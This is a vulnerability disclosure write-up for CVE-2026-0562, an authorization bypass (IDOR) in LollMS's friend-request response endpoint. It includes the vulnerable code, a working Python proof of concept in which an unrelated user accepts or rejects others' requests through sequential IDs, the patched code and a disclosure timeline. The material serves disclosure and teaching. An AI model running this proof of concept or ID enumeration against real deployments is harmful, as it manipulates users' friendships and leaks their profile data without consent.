CVE-2026-0562: IDOR in LollMS friend request response
I reported this on December 29th, 2025, and it was assigned CVE-2026-0562 with a CVSS score of 8.3 (HIGH). The vulnerability is a classic IDOR: any authenticated user can accept or reject another user’s friend request just by guessing a sequential integer.
LollMS (Lord of Large Language And Multimodal Systems) is an open-source AI platform built by parisneo. It includes a social features layer with friend requests, private conversations, and profile visibility. That social layer is where the bug lives.
The vulnerable endpoint
The /api/friends/requests/{friendship_id} endpoint handles friend request responses. Here’s the function as it existed before the fix:
@friends_router.put("/requests/{friendship_id}", response_model=FriendPublic)
async def respond_request(friendship_id: int, data: FriendshipAction,
current_db_user: DBUser = Depends(get_current_db_user_from_token),
db: Session = Depends(get_db)):
fs = db.query(Friendship).filter(Friendship.id == friendship_id).first()
if not fs: raise HTTPException(404, "Request not found")
if data.action == 'accept':
fs.status = FriendshipStatus.ACCEPTED
fs.action_user_id = current_db_user.id
db.commit()
friend = fs.user1 if fs.user2_id == current_db_user.id else fs.user2
return FriendPublic(id=friend.id, username=friend.username, icon=friend.icon, friendship_id=fs.id, status_with_current_user=fs.status)
elif data.action == 'reject':
db.delete(fs)
db.commit()
raise HTTPException(200, "Rejected")
The function fetches a friendship record by ID, checks if it exists, and immediately acts on it. There are no checks whether the authenticated user is part of that friendship at all. None.
Three things are missing:
- No check that
current_db_user.idis in(fs.user1_id, fs.user2_id) - No check that
current_db_user.idis not the requester (fs.action_user_id) - Friendship IDs are sequential integers, so enumeration is trivial
Proof of concept
The attack is three steps: User1 sends a request to User2, User3 (the attacker) grabs the friendship_id from anywhere they can observe it, and then responds to it.
import requests
BASE_URL = "http://localhost:9642"
# Step 1: User1 sends friend request to User2
token1 = "..." # User1's token
friend_req = requests.post(
f"{BASE_URL}/api/friends/request",
headers={"Authorization": f"Bearer {token1}"},
json={"target_username": "user2"}
)
friendship_id = friend_req.json()["friendship_id"] # e.g., 1
# Step 2: User3 (attacker) accepts the request
token3 = "..." # User3's token — completely unrelated to this friendship
accept_response = requests.put(
f"{BASE_URL}/api/friends/requests/{friendship_id}",
headers={"Authorization": f"Bearer {token3}"},
json={"action": "accept"}
)
print(accept_response.status_code) # 200
print(accept_response.json())
# {"id":4,"username":"user2","icon":null,"friendship_id":1,"status_with_current_user":"accepted"}
User3 just accepted a friend request between two people they have no relationship with. The response even leaks User2’s profile data back to User3.
Because friendship IDs are sequential, User3 doesn’t even need to observe an existing request. They can simply iterate from 1 upward to find pending requests and reject them — effectively breaking any user’s social connections on the platform.
Impact
The practical consequences depend on what being friends actually unlocks in the deployment. At minimum:
- Forced friendships: A third party can force two users into an accepted friendship state without either user’s consent
- Denial of friendship: An attacker can reject any pending request, including ones the recipient would have accepted
- Privacy exposure: The accept response returns the target user’s profile data to the attacker
- Social engineering surface: Manipulated friendship graphs can be used to gain trust in private channels
The fix
The fix is two authorization checks added before any mutation happens:
@friends_router.put("/requests/{friendship_id}", response_model=FriendPublic)
async def respond_request(friendship_id: int, data: FriendshipAction,
current_db_user: DBUser = Depends(get_current_db_user_from_token),
db: Session = Depends(get_db)):
fs = db.query(Friendship).filter(Friendship.id == friendship_id).first()
if not fs:
raise HTTPException(404, "Request not found")
# Verify current user is part of this friendship
if current_db_user.id not in (fs.user1_id, fs.user2_id):
raise HTTPException(403, "You are not authorized to respond to this request")
# Verify current user is the recipient, not the requester
if fs.action_user_id == current_db_user.id:
raise HTTPException(400, "You cannot respond to your own request")
if data.action == 'accept':
fs.status = FriendshipStatus.ACCEPTED
fs.action_user_id = current_db_user.id
db.commit()
friend = fs.user1 if fs.user2_id == current_db_user.id else fs.user2
return FriendPublic(id=friend.id, username=friend.username, icon=friend.icon, friendship_id=fs.id, status_with_current_user=fs.status)
elif data.action == 'reject':
db.delete(fs)
db.commit()
raise HTTPException(200, "Rejected")
This was patched in commit c462977 and released in version 2.2.0.
Why this pattern keeps showing up
IDOR bugs like this are easy to miss when you’re building features fast. The friendship_id looks like an internal ID — it’s not something a user would type in the UI. But any API that accepts a resource ID must answer the question: “does the caller have the right to act on this resource?”
Object-level authorization (OWASP API1:2023 - Broken Object Level Authorization) is the most common API vulnerability class for a reason. The assumption that IDs are hard to guess is not a security control.
The rule is simple: fetch the object, check ownership, then act. In that order, every time.
Disclosure timeline
- December 29, 2025: Reported to huntr.dev with full proof of concept
- March 29, 2026: CVE-2026-0562 assigned and published
- March 31, 2026: NVD initial analysis completed
- Fix: Patched in commit c462977, released in version 2.2.0
References
- CVE-2026-0562 on NVD
- Huntr bounty report
- Fix commit on GitHub
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-863: Incorrect Authorization
- OWASP API Security Top 10: API1:2023 Broken Object Level Authorization
Related content
- CVE-2026-0558: Unauthenticated file upload in LollMS
- CVE-2026-0560: SSRF in LollMS export content endpoint
- CVE-2026-5728: Content-Type spoofing on LollMS chat image upload
- Timing Attack Vulnerability in Meilisearch API Key Comparison
- SQL Injection Vulnerability: Security Issue in GeoPandas to_postgis() Function